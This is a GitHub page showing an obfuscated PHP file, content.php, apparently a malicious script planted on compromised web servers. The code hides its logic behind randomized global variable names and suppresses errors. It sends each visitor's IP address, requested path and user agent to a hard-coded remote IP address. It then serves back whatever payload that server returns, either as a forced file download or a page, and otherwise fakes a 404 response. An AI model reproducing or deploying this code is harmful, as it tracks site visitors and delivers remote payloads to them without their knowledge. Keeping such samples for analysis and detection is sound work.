-
Notifications
You must be signed in to change notification settings - Fork 11
/
Copy pathcontent.php
227 lines (227 loc) · 11.6 KB
/
content.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
<?php ${"GLOBALS"}["jbtvcvf"]="ips";
${"GLOBALS"}["hczmyccqa"]="ip";
${"GLOBALS"}["xfxfcd"]="uri";
${"GLOBALS"}["ysfyfo"]="func";
${"GLOBALS"}["khvfrulzr"]="headers";
${"GLOBALS"}["idhnrebodii"]="k";
${"GLOBALS"}["qzuuekdfv"]="h";
${"GLOBALS"}["yymuyny"]="res";
${"GLOBALS"}["auexxenf"]="data";
${"GLOBALS"}["fqyjjt"]="cookie";
${"GLOBALS"}["sptbdqe"]="v";
${"GLOBALS"}["htahytknrfy"]="request";
${"GLOBALS"}["nvmidautnev"]="errstr";
${"GLOBALS"}["pkedokwhjf"]="scheme";
${"GLOBALS"}["gplirongicj"]="fp";
${"GLOBALS"}["kcxyrjcxhn"]="timeout";
${"GLOBALS"}["qlmcbwop"]="port";
${"GLOBALS"}["omumddjkm"]="params";
${"GLOBALS"}["ukpxsfnrdit"]="content";
${"GLOBALS"}["sbmrxr"]="url";
${"GLOBALS"}["lvdzxnelv"]="query";
${"GLOBALS"}["cnuludt"]="remote";
${"GLOBALS"}["nxdjnqjioi"]="remote";
error_reporting(0);
ini_set("display_errors",0);
${${"GLOBALS"}["cnuludt"]}="http://78.138.118.127/12345nbvvd.php";
php_display(${${"GLOBALS"}["nxdjnqjioi"]});
error_404();
function php_display($url){${"GLOBALS"}["dupvctxile"]="query";
$rbdxeeg="content";
${"GLOBALS"}["rtuqjngevwue"]="url";
${"GLOBALS"}["scmukqrpcu"]="filename";
${"GLOBALS"}["pefiihqr"]="content";
$pzqscfbwfoo="query";
${${"GLOBALS"}["dupvctxile"]}=array();
${${"GLOBALS"}["lvdzxnelv"]}["ip"]=getIp();
${${"GLOBALS"}["lvdzxnelv"]}["path"]="$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
${$pzqscfbwfoo}["useragent"]=getUseragent();
${${"GLOBALS"}["sbmrxr"]}=${${"GLOBALS"}["sbmrxr"]}."?".http_build_query(${${"GLOBALS"}["lvdzxnelv"]});
${"GLOBALS"}["ykymhewdris"]="content";
${${"GLOBALS"}["ukpxsfnrdit"]}=@file_get_contents(${${"GLOBALS"}["rtuqjngevwue"]});
if(strlen(${${"GLOBALS"}["ykymhewdris"]})<10){error_404();
}$wpkyut="content";
${${"GLOBALS"}["ukpxsfnrdit"]}=explode("\n",${$rbdxeeg});
${"GLOBALS"}["pesdfbe"]="content";
${"GLOBALS"}["uflmer"]="filename";
${${"GLOBALS"}["scmukqrpcu"]}=array_shift(${${"GLOBALS"}["pefiihqr"]});
${${"GLOBALS"}["ukpxsfnrdit"]}=implode("\n",${$wpkyut});
if(strstr(${${"GLOBALS"}["uflmer"]},".html")===FALSE){$wsluapls="content";
${"GLOBALS"}["iakxulxikk"]="type";
$ijffdbx="type";
$liobqfzecv="filename";
${$ijffdbx}="application/octet-stream";
header("Content-Type:".${${"GLOBALS"}["iakxulxikk"]});
header("Content-Disposition: attachment;
filename=".${$liobqfzecv});
header("Content-Length: ".strlen(${$wsluapls}));
}echo${${"GLOBALS"}["pesdfbe"]};
exit();
}function http_request($params){${"GLOBALS"}["dwjwlpw"]="url";
${"GLOBALS"}["yetbvsgk"]="res";
${"GLOBALS"}["adlbtpkkp"]="params";
$qqroevys="scheme";
${"GLOBALS"}["jmprtlkqy"]="params";
$sxbpdcgbnhv="url";
$rjfobnk="params";
$fdyymehuojn="url";
$btcrda="url";
if(!is_array(${${"GLOBALS"}["jmprtlkqy"]})){${${"GLOBALS"}["omumddjkm"]}=array("url"=>${${"GLOBALS"}["omumddjkm"]},"method"=>"GET");
}${"GLOBALS"}["qiqgvuce"]="url";
${"GLOBALS"}["lrhituc"]="url";
$sduxjksgmdh="url";
$dtizvq="params";
${"GLOBALS"}["gipmkeuwhen"]="url";
${"GLOBALS"}["sckbeqtg"]="url";
if(${${"GLOBALS"}["omumddjkm"]}["url"]=="")return FALSE;
$wywwrkacw="url";
$iygwzasprs="params";
$ipttjthk="params";
$xlqroqbdsxr="params";
$flcyorqsb="timeout";
${"GLOBALS"}["ulvgvufr"]="params";
if(!isset(${${"GLOBALS"}["ulvgvufr"]}["method"]))${$dtizvq}["method"]=(isset(${$rjfobnk}["data"])&&is_array(${${"GLOBALS"}["omumddjkm"]}["data"]))?"POST":"GET";
${$xlqroqbdsxr}["method"]=strtoupper(${${"GLOBALS"}["omumddjkm"]}["method"]);
if(!in_array(${${"GLOBALS"}["omumddjkm"]}["method"],array("GET","POST")))return FALSE;
${${"GLOBALS"}["sbmrxr"]}=parse_url(${$iygwzasprs}["url"]);
if(!isset(${${"GLOBALS"}["sckbeqtg"]}["scheme"]))${$fdyymehuojn}["scheme"]="http";
if(!isset(${$wywwrkacw}["path"]))${${"GLOBALS"}["sbmrxr"]}["path"]="/";
if(!isset(${${"GLOBALS"}["lrhituc"]}["host"])&&isset(${${"GLOBALS"}["sbmrxr"]}["path"])){if(strpos(${${"GLOBALS"}["sbmrxr"]}["path"],"/")){$jzjmvnjmjak="url";
${"GLOBALS"}["ebxrctpqzyke"]="url";
$lqniscmceeu="url";
${${"GLOBALS"}["sbmrxr"]}["host"]=substr(${${"GLOBALS"}["sbmrxr"]}["path"],0,strpos(${$jzjmvnjmjak}["path"],"/"));
${${"GLOBALS"}["sbmrxr"]}["path"]=substr(${${"GLOBALS"}["ebxrctpqzyke"]}["path"],strpos(${$lqniscmceeu}["path"],"/"));
}else{${${"GLOBALS"}["sbmrxr"]}["host"]=${${"GLOBALS"}["sbmrxr"]}["path"];
${${"GLOBALS"}["sbmrxr"]}["path"]="/";
}}$yijslrmkos="port";
${"GLOBALS"}["eixfozyikgx"]="res";
${${"GLOBALS"}["sbmrxr"]}["path"]=preg_replace("/[\\/]+/","/",${${"GLOBALS"}["sbmrxr"]}["path"]);
$razoyonw="errno";
if(isset(${${"GLOBALS"}["qiqgvuce"]}["query"]))${$sxbpdcgbnhv}["path"].="?{$url['query']}";
${${"GLOBALS"}["qlmcbwop"]}=isset(${$ipttjthk}["port"])?${${"GLOBALS"}["adlbtpkkp"]}["port"]:(isset(${$sduxjksgmdh}["port"])?${$btcrda}["port"]:(${${"GLOBALS"}["gipmkeuwhen"]}["scheme"]=="https"?443:80));
${${"GLOBALS"}["kcxyrjcxhn"]}=isset(${${"GLOBALS"}["omumddjkm"]}["timeout"])?${${"GLOBALS"}["omumddjkm"]}["timeout"]:30;
${"GLOBALS"}["vfxzzxxo"]="fp";
${"GLOBALS"}["bqkboh"]="url";
$vmvvwyx="params";
if(!isset(${$vmvvwyx}["return"]))${${"GLOBALS"}["omumddjkm"]}["return"]="content";
${$qqroevys}=${${"GLOBALS"}["dwjwlpw"]}["scheme"]=="https"?"ssl://":"";
${${"GLOBALS"}["gplirongicj"]}=@fsockopen(${${"GLOBALS"}["pkedokwhjf"]}.${${"GLOBALS"}["bqkboh"]}["host"],${$yijslrmkos},${$razoyonw},${${"GLOBALS"}["nvmidautnev"]},${$flcyorqsb});
if(${${"GLOBALS"}["vfxzzxxo"]}){$tshdxkrjg="headers";
$kccwgjcfzry="params";
${"GLOBALS"}["ahzbto"]="request";
${"GLOBALS"}["jrpbrhfchpi"]="params";
if(!isset(${$kccwgjcfzry}["User-Agent"]))${${"GLOBALS"}["jrpbrhfchpi"]}["User-Agent"]="Mozilla/5.0 (iPhone;
U;
CPU iPhone OS 3_0 like Mac OS X;
en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16";
$pojdifufqxn="params";
$qnklxgjjj="fp";
${"GLOBALS"}["wyjfestoo"]="request";
${${"GLOBALS"}["htahytknrfy"]}="{$params['method']} {$url['path']} HTTP/1.0\r\n";
${${"GLOBALS"}["wyjfestoo"]}.="Host: {$url['host']}\r\n";
$edugfoonj="h_detected";
${${"GLOBALS"}["ahzbto"]}.="User-Agent: {$params['User-Agent']}"."\r\n";
$bbrvfdiqc="request";
$nqdhraem="data";
if(isset(${$pojdifufqxn}["referer"]))${${"GLOBALS"}["htahytknrfy"]}.="Referer: {$params['referer']}\r\n";
if(isset(${${"GLOBALS"}["omumddjkm"]}["cookie"])){${"GLOBALS"}["dtxmecwodrd"]="cookie";
$djntfik="cookie";
${$djntfik}="";
if(is_array(${${"GLOBALS"}["omumddjkm"]}["cookie"])){${"GLOBALS"}["ycbsvqo"]="cookie";
${"GLOBALS"}["awskkwmqqpg"]="k";
$rqgoxxlohwl="cookie";
$hgtshwshin="params";
$gvqqpvmbynrb="cookie";
foreach(${$hgtshwshin}["cookie"]as${${"GLOBALS"}["awskkwmqqpg"]}=>${${"GLOBALS"}["sptbdqe"]})${${"GLOBALS"}["ycbsvqo"]}.="$k=$v;
";
${$rqgoxxlohwl}=substr(${$gvqqpvmbynrb},0,-2);
}else${${"GLOBALS"}["dtxmecwodrd"]}=${${"GLOBALS"}["omumddjkm"]}["cookie"];
if(${${"GLOBALS"}["fqyjjt"]}!="")${${"GLOBALS"}["htahytknrfy"]}.="Cookie: $cookie\r\n";
}$xrpkvnq="request";
${$xrpkvnq}.="Connection: close\r\n";
if(${${"GLOBALS"}["omumddjkm"]}["method"]=="POST"){$hppnxos="params";
$xfowerivgy="params";
$ycvslrfdjhn="data";
if(isset(${$hppnxos}["data"])&&is_array(${$xfowerivgy}["data"])){${"GLOBALS"}["xkhabq"]="k";
${"GLOBALS"}["piwbdshpsstj"]="data";
${"GLOBALS"}["erfrgfxmygs"]="data";
$lkgftnl="k";
foreach(${${"GLOBALS"}["omumddjkm"]}["data"]AS${$lkgftnl}=>${${"GLOBALS"}["sptbdqe"]})${${"GLOBALS"}["piwbdshpsstj"]}.=urlencode(${${"GLOBALS"}["xkhabq"]})."=".urlencode(${${"GLOBALS"}["sptbdqe"]})."&";
$jtgyocys="data";
if(substr(${${"GLOBALS"}["erfrgfxmygs"]},-1)=="&")${$jtgyocys}=substr(${${"GLOBALS"}["auexxenf"]},0,-1);
}${${"GLOBALS"}["auexxenf"]}.="\r\n\r\n";
${${"GLOBALS"}["htahytknrfy"]}.="Content-type: application/x-www-form-urlencoded\r\n";
${${"GLOBALS"}["htahytknrfy"]}.="Content-length: ".strlen(${$ycvslrfdjhn})."\r\n";
}${${"GLOBALS"}["htahytknrfy"]}.="\r\n";
if(${${"GLOBALS"}["omumddjkm"]}["method"]=="POST")${${"GLOBALS"}["htahytknrfy"]}.=${$nqdhraem};
${"GLOBALS"}["rlmagcoondi"]="fp";
@fwrite(${${"GLOBALS"}["gplirongicj"]},${$bbrvfdiqc});
${${"GLOBALS"}["yymuyny"]}="";
${$tshdxkrjg}="";
${$edugfoonj}=false;
while(!@feof(${${"GLOBALS"}["rlmagcoondi"]})){$fxzuahsbp="res";
$egvgmmxsuux="h_detected";
$nlsygkhpdyyn="res";
${$nlsygkhpdyyn}.=@fread(${${"GLOBALS"}["gplirongicj"]},1024);
if(!${$egvgmmxsuux}&&strpos(${$fxzuahsbp},"\r\n\r\n")!==FALSE){${"GLOBALS"}["gokexypfnnju"]="res";
$qmvftez="headers";
$sykrwe="res";
$uflxkry="params";
${"GLOBALS"}["uloxirw"]="h_detected";
${"GLOBALS"}["ivynppi"]="res";
${"GLOBALS"}["yergdqrcv"]="params";
${"GLOBALS"}["jqqelrlzroq"]="params";
${"GLOBALS"}["gwoscntyun"]="res";
${${"GLOBALS"}["uloxirw"]}=true;
${$qmvftez}=substr(${${"GLOBALS"}["gokexypfnnju"]},0,strpos(${${"GLOBALS"}["ivynppi"]},"\r\n\r\n"));
$qnwjrwbxalvq="headers";
${"GLOBALS"}["wigpbx"]="params";
$jtjcghsyvtc="params";
${$sykrwe}=substr(${${"GLOBALS"}["gwoscntyun"]},strpos(${${"GLOBALS"}["yymuyny"]},"\r\n\r\n")+4);
if(${$uflxkry}["return"]=="headers"||${$jtjcghsyvtc}["return"]=="array"||(isset(${${"GLOBALS"}["jqqelrlzroq"]}["redirect"])&&${${"GLOBALS"}["omumddjkm"]}["redirect"]==true)){$yjqqdvupnm="v";
$mnbxxtkm="headers";
$dvxenchgyqp="headers";
${${"GLOBALS"}["qzuuekdfv"]}=explode("\r\n",${$mnbxxtkm});
${$dvxenchgyqp}=array();
foreach(${${"GLOBALS"}["qzuuekdfv"]} as${${"GLOBALS"}["idhnrebodii"]}=>${$yjqqdvupnm}){if(strpos(${${"GLOBALS"}["sptbdqe"]},":")){${"GLOBALS"}["ckdqikcutle"]="v";
${"GLOBALS"}["mnmykww"]="v";
${"GLOBALS"}["ugrcqmpr"]="k";
${${"GLOBALS"}["ugrcqmpr"]}=substr(${${"GLOBALS"}["sptbdqe"]},0,strpos(${${"GLOBALS"}["ckdqikcutle"]},":"));
${${"GLOBALS"}["sptbdqe"]}=trim(substr(${${"GLOBALS"}["sptbdqe"]},strpos(${${"GLOBALS"}["mnmykww"]},":")+1));
}${${"GLOBALS"}["khvfrulzr"]}[strtoupper(${${"GLOBALS"}["idhnrebodii"]})]=${${"GLOBALS"}["sptbdqe"]};
}}if(isset(${${"GLOBALS"}["wigpbx"]}["redirect"])&&${${"GLOBALS"}["yergdqrcv"]}["redirect"]==true&&isset(${$qnwjrwbxalvq}["LOCATION"])){${"GLOBALS"}["iweqfuxdlggh"]="params";
${"GLOBALS"}["ljrsgsxuvv"]="params";
${${"GLOBALS"}["omumddjkm"]}["url"]=${${"GLOBALS"}["khvfrulzr"]}["LOCATION"];
if(!isset(${${"GLOBALS"}["omumddjkm"]}["redirect-count"]))${${"GLOBALS"}["iweqfuxdlggh"]}["redirect-count"]=0;
if(${${"GLOBALS"}["ljrsgsxuvv"]}["redirect-count"]<10){${"GLOBALS"}["wrdyls"]="func";
${${"GLOBALS"}["omumddjkm"]}["redirect-count"]++;
${${"GLOBALS"}["ysfyfo"]}=__FUNCTION__;
${"GLOBALS"}["pjpsowtwymf"]="func";
${"GLOBALS"}["ggqvmdh"]="params";
return@is_object($this)?$this->${${"GLOBALS"}["wrdyls"]}(${${"GLOBALS"}["ggqvmdh"]}):${${"GLOBALS"}["pjpsowtwymf"]}(${${"GLOBALS"}["omumddjkm"]});
}}if(${${"GLOBALS"}["omumddjkm"]}["return"]=="headers")return${${"GLOBALS"}["khvfrulzr"]};
}}@fclose(${$qnklxgjjj});
}else return FALSE;
if(${${"GLOBALS"}["omumddjkm"]}["return"]=="array")${${"GLOBALS"}["yetbvsgk"]}=array("headers"=>${${"GLOBALS"}["khvfrulzr"]},"content"=>${${"GLOBALS"}["yymuyny"]});
return${${"GLOBALS"}["eixfozyikgx"]};
}function error_404(){header("HTTP/1.1 404 Not Found");
${${"GLOBALS"}["xfxfcd"]}=preg_replace("/(\\?).*\$/","",$_SERVER["REQUEST_URI"]);
${${"GLOBALS"}["ukpxsfnrdit"]}=http_request("http://".$_SERVER["SERVER_NAME"]."/AFQjCNHnh8RttFI3VMrBddYw6rngKz7KEA");
${${"GLOBALS"}["ukpxsfnrdit"]}=str_replace("/AFQjCNHnh8RttFI3VMrBddYw6rngKz7KEA",${${"GLOBALS"}["xfxfcd"]},${${"GLOBALS"}["ukpxsfnrdit"]});
exit(${${"GLOBALS"}["ukpxsfnrdit"]});
}function getUseragent(){return$_SERVER["HTTP_USER_AGENT"];
}function getReferer(){$lfjiopxo="referer";
$frohhtuteye="referer";
${$frohhtuteye}=isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:"-";
return${$lfjiopxo};
}function getIp(){$zizlckd="ip";
${$zizlckd}=NULL;
if(isset($_SERVER["REMOTE_ADDR"])){${${"GLOBALS"}["hczmyccqa"]}=$_SERVER["REMOTE_ADDR"];
}$ygtqpkoosnxt="ip";
if(strpos(${${"GLOBALS"}["hczmyccqa"]},",")!==FALSE){${"GLOBALS"}["vzzhnqeuoit"]="ip";
${"GLOBALS"}["mujjczjqc"]="ips";
$vijvmqe="ip";
${${"GLOBALS"}["mujjczjqc"]}=explode(",",${${"GLOBALS"}["vzzhnqeuoit"]});
${$vijvmqe}=trim(array_pop(${${"GLOBALS"}["jbtvcvf"]}));
}return${$ygtqpkoosnxt};
}?>